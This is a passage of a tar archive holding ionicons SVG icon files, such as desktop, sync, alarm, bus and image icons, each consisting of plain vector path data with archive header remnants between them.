276h40v-40h-40v40z"/></svg>ionicons/svg/md-desktop.svg000064400000000514151701353760011764 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.333 32H74.667C51.198 32 32 51.197 32 74.666v282.667C32 380.802 51.198 400 74.667 400h138.666l-42.666 48v32h170.666v-32l-42.666-48h138.666C460.802 400 480 380.802 480 357.333V74.666C480 51.197 460.802 32 437.333 32zm0 288H74.667V74.666h362.666V320z"/></svg>ionicons/svg/ios-sync.svg000064400000002577151701353760011474 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M492 257.1c-2.6-2.6-6-4-9.6-4-3.6 0-7 1.4-9.6 4l-13 13c4.3-61.8-19.5-122.5-65.3-165C356.9 70.2 307.7 51 256.1 51c-26.7 0-52.8 5.1-77.4 15.1-25.5 10.4-48.3 25.6-67.7 45.3-13.2 13.4-24.6 28.5-33.6 44.8-1.9 3.4-2.3 7.4-1.2 11.1 1.1 3.7 3.8 6.8 7.2 8.5 2 1 4.2 1.5 6.4 1.5 5.2 0 9.9-2.8 12.4-7.3 7.9-14.3 17.8-27.5 29.4-39.1 16.8-16.8 36.3-29.8 58.1-38.7 21.1-8.6 43.4-12.9 66.2-12.9 22.9 0 45.2 4.3 66.3 12.9 21.8 8.9 41.4 21.9 58.2 38.8 20.3 20.4 35.4 45.6 43.8 73 7 22.9 9.2 47.3 6.6 71.2l-18.9-18.5c-2.5-2.4-5.8-3.8-9.3-3.8-3.5 0-6.9 1.4-9.4 3.9-5.2 5.2-5.2 13.6 0 18.8l42.8 42.9c1.9 1.9 4.4 2.9 7 2.9 2.6 0 5.1-1 7-2.9l42.1-42.2c5.2-5.3 5.2-13.9-.1-19.2zM428.6 335.9c-2-1-4.2-1.5-6.4-1.5-5.2 0-9.9 2.8-12.4 7.3-7.9 14.3-17.8 27.5-29.4 39.1-16.8 16.8-36.3 29.9-58.2 38.7-21.1 8.6-43.4 12.9-66.3 12.9s-45.2-4.3-66.2-12.9c-21.8-8.9-41.4-21.9-58.2-38.7-37.6-37.8-56-90.9-50.3-143.9l18.4 18.5c2.4 2.4 5.6 3.7 9 3.7 3.4 0 6.6-1.3 9-3.7l1.3-1.3c4.9-4.9 4.9-13 0-17.9l-42.9-43c-1.9-1.9-4.4-2.9-7-2.9-2.6 0-5.1 1-7 2.9l-42 42.3c-5.3 5.3-5.3 13.9 0 19.2 2.6 2.6 6 4 9.6 4 3.6 0 7-1.4 9.6-4l13-13.1c-1.8 25.8 1.3 52 9 76.5 9.9 31.4 26.8 59.3 50.3 82.8 19.5 19.6 42.2 34.7 67.6 45.1 24.5 10 50.4 15 76.9 15 26.5 0 52.4-5.1 76.9-15 25.4-10.3 48.1-25.5 67.6-45.1 13.5-13.5 25-28.8 34.2-45.4 1.9-3.4 2.3-7.4 1.2-11.1-1.2-3.7-3.8-6.8-7.3-8.5z"/></svg>ionicons/svg/ios-help-circle.svg000064400000001000151701353760012663 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm-4.3 304c-11.8 0-21.4-9-21.4-20.6 0-11.5 9.6-20.6 21.4-20.6 11.9 0 21.5 9 21.5 20.6 0 11.6-9.5 20.6-21.5 20.6zm40.2-96.9c-17.4 10.1-23.3 17.5-23.3 30.3v7.9h-34.7l-.3-8.6c-1.7-20.6 5.5-33.4 23.6-44 16.9-10.1 24-16.5 24-28.9s-12-21.5-26.9-21.5c-15.1 0-26 9.8-26.8 24.6H192c.7-32.2 24.5-55 64.7-55 37.5 0 63.3 20.8 63.3 50.7 0 19.9-9.6 33.6-28.1 44.5z"/></svg>ionicons/svg/md-construct.svg000064400000001462151701353760012342 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M430.9 393.4l-119.6-119-58.1-57.9-13.4-13.3c15.9-40.6 7.1-88.2-26.6-121.7-35.4-35.3-88.5-42.3-131-22.9l76.1 75.8-53.1 52.9-77.9-75.8C6.2 153.8 15 206.7 50.4 242c33.6 33.5 81.4 42.3 122.1 26.5l14.4 14.3L81.7 388c-7.6 5.7-7.6 19 1.9 26.6l43.8 43.7c7.6 7.6 19.1 7.6 26.7 0l96.1-112.4 113.4 112.9c7.1 7.1 17.7 7.1 24.8 0l40.7-40.6c8.9-7.1 8.9-19.5 1.8-24.8z"/><path d="M494.4 216.6l-34.5-34.1c-2.2-2.2-5.8-2.2-8 0l-3.7 3.7-18.5-15.8s1.2-10-4.9-18.7c-6.2-8.7-16.1-19.8-23.2-26.9-7.1-7-34.1-33.9-69.7-51.4C296.2 55.7 271 48 241 48v29.7s28.7 16.6 45.1 29.7c16.3 13.1 16.8 59.5 16.8 59.5l-28.5 28.5 56.5 56.1 31-36.3c12.9-3.5 23.8-3.8 30.2-.3l13.7 13.3-9.6 9.5c-2.2 2.2-2.2 5.7 0 7.9l34.5 34.1c2.2 2.2 5.8 2.2 8 0l55.7-55.2c2.1-2.2 2.1-5.8 0-7.9z"/></svg>ionicons/svg/ios-woman.svg000064400000001305151701353760011625 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M286 496c-6.1 0-11.8-2.3-16-6.6-3.2-3.3-7.1-9.1-7.1-18.6V351.4H249v119.4c0 9.5-4 15.4-7.4 18.7-4.3 4.2-10.1 6.5-16.3 6.5-6.2 0-11.9-2.3-16.3-6.5-3.4-3.3-7.4-9.1-7.4-18.7V351.4h-43.9l44.5-170.6h-6.8L171 271.2c-4 13.1-13.7 17.8-21.4 17.8-6.6 0-12.9-3.2-17-8.7-4.8-6.4-6.1-14.9-3.6-23.9l29-104.1c4.2-15.2 20.7-38.2 48.7-39.3H305.1c28.4 1.2 44.1 26 48.5 38.9l.1.4 29 104.3c2.4 9 1 17.6-3.9 24-4.1 5.4-10.4 8.6-16.9 8.6-7.7 0-17.3-4.8-21.3-18.1v-.2l-24.3-90.1h-7.7l45.5 170.6H309v119.4c0 9.5-3.9 15.3-7.1 18.6-4.2 4.3-9.8 6.6-15.9 6.6zM255.9 106.4c-24.2 0-43.9-20.3-43.9-45.2S231.7 16 255.9 16s43.9 20.3 43.9 45.2-19.7 45.2-43.9 45.2z"/></svg>ionicons/svg/md-paper.svg000064400000001273151701353760011425 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 64H192c-8.8 0-16 7.7-16 16.5V112H74c-23.1 0-42 18.9-42 42v207.5c0 47.6 39 86.5 86 86.5h279.7c45.1 0 82.3-36.9 82.3-82V80c0-8.8-7.2-16-16-16zm-288 80v192h-42V163.2c0-6.8-.8-13.3-3.3-19.2H176zm-17 255.4C148 410 133.2 416 118.5 416c-14.5 0-28.1-5.7-38.5-16-10.3-10.3-16-24-16-38.5V163.2c0-10.6 8.4-19.2 19-19.2s19 8.6 19 19.2V352c0 8.8 7.2 16 16 16h57.5c-1.5 11.6-7.2 22.6-16.5 31.4zM448 366c0 13.3-5.4 25.8-14.9 35.3-9.5 9.5-22.2 14.7-35.4 14.7H187.3c12.8-14.9 20.7-33.9 20.7-54.5V97h240v269z"/><path d="M248 136h160v56H248zM248 224h160v32H248zM248 288h160v32H248zM408 352H248s0 32-8 32h148.7c19.3 0 19.3-21 19.3-32z"/></svg>ionicons/svg/ios-cloud-outline.svg000064400000001450151701353760013270 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M288 124c30.3 0 59.3 11.2 81.8 31.5 22.3 20.1 36.3 47.6 39.5 77.3l1.2 11.1c.6 5.8 5 10.5 10.7 11.5l11 2c14 2.5 27 10.4 36.7 22.1 9.8 12 15.2 26.9 15.2 42.1 0 17-6.9 34.1-18.9 46.8C453 381 437.4 388 421.1 388H90.9c-16.3 0-31.9-7-43.9-19.7s-18.9-29.7-18.9-46.8c0-14.4 4.6-28.9 13.1-40.9 8.6-12.2 20.2-20.9 33.7-25.1l10.3-3.3c5.3-1.7 9-6.6 9.1-12.2l.2-10.8c.2-11.8 5.1-23.6 13.5-32.4 8.3-8.7 18.9-13.4 29.9-13.4 5.6 0 11.1 1.1 16.3 3.2l11.1 4.5c5.7 2.3 12.2.4 15.7-4.7l6.8-9.8C210.4 143.7 248 124 288 124m0-28c-51.2 0-96.3 25.6-123.4 64.7-8.3-3.4-17.4-5.3-26.9-5.3-39.1 0-70.8 34.4-71.4 73.4C26.4 241.5 0 280.5 0 321.5 0 371.7 40.7 416 90.9 416h330.3c50.2 0 90.9-44.3 90.9-94.5 0-44.7-32.3-84.1-74.9-91.7C429 154.6 365.4 96 288 96z"/></svg>ionicons/svg/ios-alarm.svg000064400000001701151701353760011600 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M381.2 64.1c-1.3-.1-2.6-.1-3.9-.1h-.2c-16.2 0-32 5.4-44.6 15.1-1.6 1.3-2.6 3.2-2.7 5.2-.1 2 .8 4 2.3 5.4l89.8 80.5c1.3 1.1 2.9 1.8 4.6 1.8h.4c1.9-.1 3.6-1 4.8-2.4C440.9 159 448 150.8 448 133c.1-36.4-29.1-66.8-66.8-68.9zM64 133c0 17.8 7.1 26 16.3 36.6 1.2 1.4 2.9 2.3 4.8 2.4h.4c1.7 0 3.3-.6 4.6-1.8L180 89.7c1.5-1.4 2.4-3.3 2.3-5.4-.1-2-1-3.9-2.7-5.2C167 69.4 151.2 64 135 64h-.2c-1.3 0-2.6 0-3.9.1-37.7 2.1-67 32.5-66.9 68.9z"/><g><path d="M390 386c26.2-30.7 42-70.5 42-114 0-97.2-78.8-176-176-176S80 174.8 80 272c0 43.5 15.8 83.3 42 114l-34.7 35.5c-6.2 6.3-6 15.5.3 21.6 3.1 3 7.4 4.8 11.4 4.8 4.2 0 8.1-1.9 11.2-5.1l34.6-34.5c30.3 24.7 69 39.6 111.2 39.6s80.9-14.8 111.2-39.6l33.6 34.5c3.1 3.2 7.3 5.1 11.5 5.1 4 0 8.1-1.8 11.2-4.8 6.3-6.2 7.5-15.3 1.3-21.6L390 386zM270 274c0 7.7-6.3 14-14 14h-82c-7.7 0-14-6.3-14-14s6.3-14 14-14h68V158c0-7.7 6.3-14 14-14s14 6.3 14 14v116z"/></g></svg>ionicons/svg/logo-buffer.svg000064400000001543151701353760012127 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M70.7 164.5l169.2 81.7c4.4 2.1 10.3 3.2 16.1 3.2s11.7-1.1 16.1-3.2l169.2-81.7c8.9-4.3 8.9-11.3 0-15.6L272.1 67.2c-4.4-2.1-10.3-3.2-16.1-3.2s-11.7 1.1-16.1 3.2L70.7 148.9c-8.9 4.3-8.9 11.3 0 15.6z"/><path d="M441.3 248.2s-30.9-14.9-35-16.9-5.2-1.9-9.5.1S272 291.6 272 291.6c-4.5 2.1-10.3 3.2-16.1 3.2s-11.7-1.1-16.1-3.2c0 0-117.3-56.6-122.8-59.3-6-2.9-7.7-2.9-13.1-.3l-33.4 16.1c-8.9 4.3-8.9 11.3 0 15.6l169.2 81.7c4.4 2.1 10.3 3.2 16.1 3.2s11.7-1.1 16.1-3.2l169.2-81.7c9.1-4.2 9.1-11.2.2-15.5z"/><path d="M441.3 347.5s-30.9-14.9-35-16.9-5.2-1.9-9.5.1S272.1 391 272.1 391c-4.5 2.1-10.3 3.2-16.1 3.2s-11.7-1.1-16.1-3.2c0 0-117.3-56.6-122.8-59.3-6-2.9-7.7-2.9-13.1-.3l-33.4 16.1c-8.9 4.3-8.9 11.3 0 15.6l169.2 81.7c4.4 2.2 10.3 3.2 16.1 3.2s11.7-1.1 16.1-3.2l169.2-81.7c9-4.3 9-11.3.1-15.6z"/></svg>ionicons/svg/logo-javascript.svg000064400000001355151701353760013025 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M208 88.001h-80v212.498c0 52.58-18.032 67.261-49.412 67.261-14.705 0-27.948-2.521-38.25-6.063L32 423.904C46.7 428.966 69.259 432 86.907 432 158.955 432 208 398.129 208 301.02V88.001zM382.463 80C305.02 80 256 123.998 256 182.154c0 50.083 37.751 81.44 92.641 101.665 39.7 14.158 55.392 26.808 55.392 47.539 0 22.756-18.139 37.425-52.448 37.425-31.863 0-60.789-10.64-80.394-21.255v-.021L256 410.727c18.639 10.638 53.441 21.255 91.167 21.255C437.854 431.98 480 383.43 480 326.284c0-48.55-26.958-79.9-85.278-102.163-43.139-17.191-61.27-26.795-61.27-48.542 0-17.2 15.688-32.869 48.043-32.869 31.846 0 53.744 10.707 66.505 17.291l19.125-64C447.125 87.22 420.188 80 382.463 80z"/></svg>ionicons/svg/ios-swap.svg000064400000001052151701353760011455 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M388.9 266.3c-5.1-5-5.2-13.3-.1-18.4L436 200H211c-7.2 0-13-5.8-13-13s5.8-13 13-13h224.9l-47.2-47.9c-5-5.1-5-13.3.1-18.4 5.1-5 13.3-5 18.4.1l69 70c1.1 1.2 2.1 2.5 2.7 4.1.7 1.6 1 3.3 1 5 0 3.4-1.3 6.6-3.7 9.1l-69 70c-5 5.2-13.2 5.3-18.3.3zM123.1 404.3c5.1-5 5.2-13.3.1-18.4L76.1 338H301c7.2 0 13-5.8 13-13s-5.8-13-13-13H76.1l47.2-47.9c5-5.1 5-13.3-.1-18.4-5.1-5-13.3-5-18.4.1l-69 70c-1.1 1.2-2.1 2.5-2.7 4.1-.7 1.6-1 3.3-1 5 0 3.4 1.3 6.6 3.7 9.1l69 70c5 5.2 13.2 5.3 18.3.3z"/></svg>ionicons/svg/md-copy.svg000064400000001015151701353760011262 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M296 48H176.5C154.4 48 136 65.4 136 87.5V96h-7.5C106.4 96 88 113.4 88 135.5v288c0 22.1 18.4 40.5 40.5 40.5h208c22.1 0 39.5-18.4 39.5-40.5V416h8.5c22.1 0 39.5-18.4 39.5-40.5V176L296 48zm0 44.6l83.4 83.4H296V92.6zm48 330.9c0 4.7-3.4 8.5-7.5 8.5h-208c-4.4 0-8.5-4.1-8.5-8.5v-288c0-4.1 3.8-7.5 8.5-7.5h7.5v255.5c0 22.1 10.4 32.5 32.5 32.5H344v7.5zm48-48c0 4.7-3.4 8.5-7.5 8.5h-208c-4.4 0-8.5-4.1-8.5-8.5v-288c0-4.1 3.8-7.5 8.5-7.5H264v128h128v167.5z"/></svg>ionicons/svg/ios-contract.svg000064400000002121151701353760012316 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M184.3 204.8h-77.7c-7.7 0-13.9 6.2-13.9 13.9v.2c0 7.7 6.2 13.9 13.9 13.9h112.2c7.7 0 13.9-6.2 13.9-13.9V106.6c0-7.7-6.2-13.9-13.9-13.9h-.2c-7.7 0-13.9 6.2-13.9 13.9v77.7L87.7 68c-2.6-2.6-6.1-4-9.8-4-3.7 0-7.2 1.4-9.8 4.1-5.4 5.4-5.4 14.2 0 19.6l116.2 117.1zM293.1 232.8h112.2c7.7 0 13.9-6.2 13.9-13.9v-.2c0-7.7-6.2-13.9-13.9-13.9h-77.7L444 87.7c5.4-5.4 5.4-14.2 0-19.6-2.6-2.6-6.1-4.1-9.8-4.1-3.7 0-7.2 1.4-9.8 4L307.3 184.3v-77.7c0-7.7-6.2-13.9-13.9-13.9h-.2c-7.7 0-13.9 6.2-13.9 13.9v112.2c0 7.7 6.2 14 13.8 14zM77.9 448c3.7 0 7.2-1.4 9.8-4l117.1-116.3v77.7c0 7.7 6.2 13.9 13.9 13.9h.2c7.7 0 13.9-6.2 13.9-13.9V293.1c0-7.7-6.2-13.9-13.9-13.9H106.6c-7.7 0-13.9 6.2-13.9 13.9v.2c0 7.7 6.2 13.9 13.9 13.9h77.7L68 424.3c-5.4 5.4-5.4 14.2 0 19.6 2.7 2.7 6.2 4.1 9.9 4.1zM293.1 419.2h.2c7.7 0 13.9-6.2 13.9-13.9v-77.7L424.3 444c2.6 2.6 6.1 4 9.8 4 3.7 0 7.2-1.4 9.8-4.1 5.4-5.4 5.4-14.2 0-19.6L327.7 307.2h77.7c7.7 0 13.9-6.2 13.9-13.9v-.2c0-7.7-6.2-13.9-13.9-13.9H293.1c-7.7 0-13.9 6.2-13.9 13.9v112.2c.1 7.7 6.3 13.9 13.9 13.9z"/></svg>ionicons/svg/md-car.svg000064400000001143151701353760011057 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.208 117.333c-4.271-12.802-16-21.333-29.875-21.333H138.667c-13.875 0-25.604 8.531-29.875 21.333L64 234.667v160C64 406.396 73.604 416 85.333 416h21.334c11.729 0 21.333-9.604 21.333-21.333V384h256v10.667c0 11.729 9.604 21.333 21.333 21.333h21.334c11.729 0 21.333-9.604 21.333-21.333v-160l-44.792-117.334zM138.667 320c-18.125 0-32-13.865-32-32s13.875-32 32-32 32 13.866 32 32-13.875 32-32 32zm234.666 0c-18.125 0-32-13.865-32-32s13.875-32 32-32 32 13.866 32 32-13.875 32-32 32zM106.667 213.333l32-85.333h234.666l32 85.333H106.667z"/></svg>ionicons/svg/ios-arrow-dropright.svg000064400000001077151701353760013644 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M210.7 147.6c7.5-7.5 19.8-7.5 27.3 0l95.4 95.7c7.3 7.3 7.5 19.1.6 26.6l-94 94.3c-3.8 3.8-8.7 5.7-13.7 5.7-4.9 0-9.9-1.9-13.6-5.6-7.5-7.5-7.6-19.7 0-27.3l79.9-81.1-81.9-81.1c-7.6-7.4-7.6-19.6 0-27.2z"/><path d="M48 256c0 114.9 93.1 208 208 208s208-93.1 208-208S370.9 48 256 48 48 141.1 48 256zm32 0c0-47 18.3-91.2 51.6-124.4C164.8 98.3 209 80 256 80s91.2 18.3 124.4 51.6C413.7 164.8 432 209 432 256s-18.3 91.2-51.6 124.4C347.2 413.7 303 432 256 432s-91.2-18.3-124.4-51.6C98.3 347.2 80 303 80 256z"/></svg>ionicons/svg/ios-list-box.svg000064400000001471151701353760012251 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 82.7v346.7c0 19.1 15.5 34.7 34.7 34.7h346.7c19.1 0 34.7-15.5 34.7-34.7V82.7c0-19.1-15.5-34.7-34.7-34.7H82.7C63.5 48 48 63.5 48 82.7zm89.3 297.1c-13.1 1.7-24.1-9.3-22.4-22.4 1.1-8.9 8.3-16.1 17.2-17.2 13.1-1.7 24.1 9.3 22.4 22.4-1.1 8.9-8.3 16.1-17.2 17.2zm0-104c-13.1 1.7-24.1-9.3-22.4-22.4 1.1-8.9 8.3-16.1 17.2-17.2 13.1-1.7 24.1 9.3 22.4 22.4-1.1 8.9-8.3 16.1-17.2 17.2zm0-104c-13.1 1.7-24.1-9.3-22.4-22.4 1.1-8.9 8.3-16.1 17.2-17.2 13.1-1.7 24.1 9.3 22.4 22.4-1.1 8.9-8.3 16.1-17.2 17.2zM384.7 374h-180c-7.7 0-14-6.3-14-14s6.3-14 14-14h180c7.7 0 14 6.3 14 14s-6.3 14-14 14zm0-104h-180c-7.7 0-14-6.3-14-14s6.3-14 14-14h180c7.7 0 14 6.3 14 14s-6.3 14-14 14zm0-104h-180c-7.7 0-14-6.3-14-14s6.3-14 14-14h180c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/></svg>ionicons/svg/md-arrow-round-down.svg000064400000000506151701353760013540 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M99.4 284.9l134 138.1c5.8 6 13.7 9 22.4 9h.4c8.7 0 16.6-3 22.4-9l134-138.1c12.5-12 12.5-31.3 0-43.2-12.5-11.9-32.7-11.9-45.2 0l-79.4 83v-214c0-16.9-14.3-30.6-32-30.6-18 0-32 13.7-32 30.6v214l-79.4-83c-12.5-11.9-32.7-11.9-45.2 0s-12.5 31.2 0 43.2z"/></svg>ionicons/svg/md-rainy.svg000064400000001347151701353760011442 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M139 400s-23 25.3-23 40.7c0 12.8 10.3 23.3 23 23.3s23-10.5 23-23.3c0-15.4-23-40.7-23-40.7zM217 368s-23 25.3-23 40.7c0 12.8 10.4 23.3 23 23.3 12.7 0 23-10.5 23-23.3 0-15.4-23-40.7-23-40.7zM295 400s-23 25.3-23 40.7c0 12.8 10.3 23.3 23 23.3 12.6 0 23-10.5 23-23.3 0-15.4-23-40.7-23-40.7zM373 368s-23 25.3-23 40.7c0 12.8 10.4 23.3 23 23.3 12.7 0 23-10.5 23-23.3 0-15.4-23-40.7-23-40.7zM393.2 161.2C380.5 96.6 323.9 48 256 48c-39.7 0-76 14-100.9 45.4 34.3 2.6 66.1 15.2 90.7 39.8 18.2 18.2 31 40.5 37.4 64.8h-33.5c-15.3-43.7-56-75-105.7-75-6 0-14.3.7-20.6 2C70 136 32 180.4 32 235.5 32 297.6 79.4 352 141.2 352h242.7c51.5 0 96.2-46 96.2-97.8-.1-49.4-38.4-89.6-86.9-93z"/></svg>ionicons/svg/ios-funnel.svg000064400000000511151701353760011771 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 87.2c0 5.8 2 11.4 5.6 15.7l152.2 179.8c3.6 4.3 5.6 9.9 5.6 15.7v107c0 10 5.9 18.8 14.6 22l55 19.8c9.6 3.5 19.6-4.3 19.6-15.3V298.3c0-5.8 2-11.4 5.6-15.7l152.2-179.8c3.6-4.3 5.6-9.9 5.6-15.7 0-12.8-9.6-23.2-21.4-23.2H69.4C57.6 64 48 74.4 48 87.2z"/></svg>ionicons/svg/md-information-circle-outline.svg000064400000000642151701353760015556 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 90c44.3 0 86 17.3 117.4 48.6C404.7 170 422 211.7 422 256s-17.3 86-48.6 117.4C342 404.7 300.3 422 256 422s-86-17.3-117.4-48.6C107.3 342 90 300.3 90 256s17.3-86 48.6-117.4C170 107.3 211.7 90 256 90m0-42C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M277 360h-42V235h42v125zm0-166h-42v-42h42v42z"/></svg>ionicons/svg/ios-body.svg000064400000001106151701353760011440 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><ellipse cx="256" cy="80" rx="48" ry="48"/><path d="M424 144H88c-13.3 0-24 10.7-24 24s10.7 24 24 24h98.5c5.6 1 13.2 3.8 17.2 14.2 4.7 12.1 2.4 33.6-.5 51.7l-3.8 21.4c0 .1 0 .2-.1.3l-30.4 172.2c-2.3 13 6.4 25.5 19.5 27.8 13.1 2.3 25.3-6.4 27.6-19.5l21-119.9v.2s6.2-32.5 18.5-32.5h1.1c12.5 0 18.5 32.5 18.5 32.5v-.1l21 119.9c2.3 13 14.7 21.7 27.7 19.4 13.1-2.3 21.7-14.8 19.4-27.8l-30.4-172.2c0-.1 0-.2-.1-.3l-3.8-21.4c-2.9-18.1-5.2-39.6-.5-51.7 4-10.4 11.6-13.2 17.2-14.2H424c13.3 0 24-10.7 24-24s-10.7-24-24-24z"/></svg>ionicons/svg/ios-subway.svg000064400000001503151701353760012016 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 32H160c-35.2 0-64 28.8-64 64v232c0 35.2 28.8 64 64 64h192c35.2 0 64-28.8 64-64V96c0-35.2-28.8-64-64-64zM200 56h112c4.4 0 8 3.6 8 8s-3.6 8-8 8H200c-4.4 0-8-3.6-8-8s3.6-8 8-8zm-32 304c-15.5 0-28-12.5-28-28s12.5-28 28-28 28 12.5 28 28-12.5 28-28 28zm176 0c-15.5 0-28-12.5-28-28s12.5-28 28-28 28 12.5 28 28-12.5 28-28 28zm40-152c0 8.8-7.2 16-16 16H144.2c-8.8 0-16.2-7.2-16.2-16v-95.8c0-8.8 7.4-16.2 16.2-16.2H368c8.8 0 16 7.4 16 16.2V208zM393.7 455.9l-50-48c-5.6-5.4-14.4-5.2-19.8.4-5.4 5.6-5.2 14.4.4 19.8l6.1 5.9H181.5l6.1-5.9c5.6-5.4 5.8-14.2.4-19.8-5.4-5.6-14.2-5.8-19.8-.4l-50 48c-5.6 5.4-5.8 14.2-.4 19.8 2.7 2.9 6.4 4.3 10.1 4.3 3.5 0 7-1.3 9.7-3.9l14.7-14.1h207.2l14.7 14.1c2.7 2.6 6.2 3.9 9.7 3.9 3.7 0 7.4-1.4 10.1-4.3 5.5-5.6 5.3-14.4-.3-19.8z"/></svg>ionicons/svg/ios-bus.svg000064400000001625151701353760011302 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M109.6 416.7c-1.9-1.9-5.7-.5-5.6 2.2 1 21.5 1.4 29 5.5 29h55.1c4.4 0 3.3-11.5 3.3-22-34.3.1-46.9 2.3-58.3-9.2zM402.4 416.7c1.9-1.9 5.7-.5 5.6 2.2-1 21.5-1.4 29-5.5 29h-55.1c-4.4 0-3.3-11.5-3.3-22 34.3.1 46.9 2.3 58.3-9.2zM384 64H128c-17.6 0-32 14.4-32 32v276c0 22 18 40 40 40h240c22 0 40-18 40-40V96c0-17.6-14.4-32-32-32zM162 375.9c-14.8 1.2-27-11.1-25.9-25.9.9-11.6 10.3-21.1 22-22 14.8-1.2 27 11.1 25.9 25.9-1 11.7-10.4 21.1-22 22zm76-77.9h-97.8c-8.9 0-16.2-7.3-16.2-16.2V166.2c0-8.9 7.3-16.2 16.2-16.2H238c2.2 0 4 1.8 4 4v140c0 2.2-1.8 4-4 4zm115.9 77.9c-14.8 1.2-27-11.1-25.9-25.9.9-11.6 10.3-21.1 22-22 14.8-1.2 27 11.1 25.9 25.9-.9 11.7-10.3 21.1-22 22zM388 282c0 8.8-7.2 16-16 16h-98c-2.2 0-4-1.8-4-4V154c0-2.2 1.8-4 4-4h98c8.8 0 16 7.2 16 16v116zm-15-162H139c-8.8 0-15-6.3-15-14s6.2-14 15-14h234c8.8 0 15 6.3 15 14s-6.2 14-15 14z"/></svg>ionicons/svg/md-albums.svg000064400000000573151701353760011603 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M154.7 464h266.7c23.5 0 42.7-19.2 42.7-42.7V154.7c0-23.5-19.2-42.7-42.7-42.7H154.7c-23.5 0-42.7 19.2-42.7 42.7v266.7c0 23.4 19.2 42.6 42.7 42.6z"/><path d="M90.7 48h266.7c23.5 0 42.7 19.2 42.7 42.7V96H138.7C115.2 96 96 115.2 96 138.7V400h-5.3C67.2 400 48 380.8 48 357.3V90.7C48 67.2 67.2 48 90.7 48z"/></svg>ionicons/svg/ios-radio-button-off.svg000064400000000520151701353760013661 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>ionicons/svg/md-tablet-landscape.svg000064400000000462151701353760013520 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 120v272c0 13.3 10.7 24 24 24h400c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24H56c-13.3 0-24 10.7-24 24zm384 8v256H80V128h336zm46 128c0 7.7-6.5 14-14.1 14-7.5 0-14-6.2-14-14 0-7.7 6.4-14.1 14-14.1 7.6.1 14.1 6.4 14.1 14.1z"/></svg>ionicons/svg/ios-images.svg000064400000002065151701353760011755 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M262.3 199.2c-1.6-2.8-5.6-3.2-7.7-.7l-91.9 122.2c-2.5 2.9-.6 7.4 3.2 7.7l161.1 14c3.8.3 6.4-3.8 4.5-7.1l-69.2-136.1zM367.2 264.1c-1.6-2.8-5.6-3.2-7.7-.7l-24.8 25.1a4.68 4.68 0 0 0-.5 5.4l25.4 49.5c.8 1.3 2.1 2.2 3.7 2.3l44.9 3.9c3.8.3 6.4-3.8 4.5-7.1l-45.5-78.4zM378.1 224.4c11.2-.1 20.9-8.3 23-19.2 2.8-14.8-8.6-28.3-23.7-28.1-11.2.1-20.9 8.3-23 19.2-2.8 14.8 8.6 28.3 23.7 28.1z"/><path d="M455.2 129.3l-65.8-5.7-6.1-67c-1.3-14.9-14.5-25.9-29.5-24.5L56.7 58.9c-14.9 1.3-25.9 14.5-24.6 29.4l26.8 296.5c1.3 14.9 14.5 25.9 29.5 24.5l15.7-1.4-1.5 16.7c-1.3 14.9 9.7 28 24.7 29.3l297.3 25.9c14.9 1.3 28.1-9.7 29.4-24.6l26-296.6c1.2-14.8-9.8-28-24.8-29.3zM87.6 300.7c-3.7.3-7-2.4-7.4-6.1l-18-200c-.3-3.7 2.4-7 6.1-7.3l279.2-25.1c3.7-.3 7 2.4 7.4 6.1l4.8 52.8L158 103.4c-14.9-1.3-28.1 9.7-29.4 24.6l-14.9 170.3-26.1 2.4zm362.2-135.6l-17.5 200c-.3 3.7-3.6 6.5-7.3 6.2l-18.6-1.6L145.7 347c-3.7-.3-6.5-3.6-6.2-7.3l3.8-43.9L157 139.7c.3-3.7 3.6-6.5 7.3-6.2l198 17.3 29.7 2.6 51.6 